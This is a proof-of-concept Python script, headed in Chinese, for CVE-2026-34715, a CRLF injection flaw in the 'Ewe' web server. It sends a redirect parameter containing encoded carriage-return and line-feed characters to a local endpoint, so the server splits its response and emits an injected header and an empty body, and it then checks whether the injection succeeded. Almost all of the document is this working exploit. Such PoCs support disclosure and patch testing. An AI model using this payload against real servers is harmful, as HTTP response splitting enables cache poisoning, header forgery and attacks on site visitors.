CVE-2026-34715: Ewe Web Server CRLF注入漏洞

import requests # PoC for CVE-2026-34715: Ewe CRLF Injection # Target scenario: An endpoint setting a 'Location' header based on user input target_url = "http://localhost:4000/redirect" # The payload injects CRLF (\r\n) to split the response and add a arbitrary header # %0d is \r, %0a is \n payload = "http://evil.com%0d%0aX-Injected-Header: pwned%0d%0aContent-Length: 0%0d%0a%0d%0a" try: # Send a request with the malicious payload in the 'next' parameter response = requests.get(target_url, params={"next": payload}) print(f"Status Code: {response.status_code}") print("Response Headers:") for key, value in response.headers.items(): print(f"{key}: {value}") # Check if the injection was successful (e.g. custom header present or body modified) if "X-Injected-Header" in response.headers: print("[+] Vulnerability exploited: Header injection successful!") else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error connecting to target: {e}")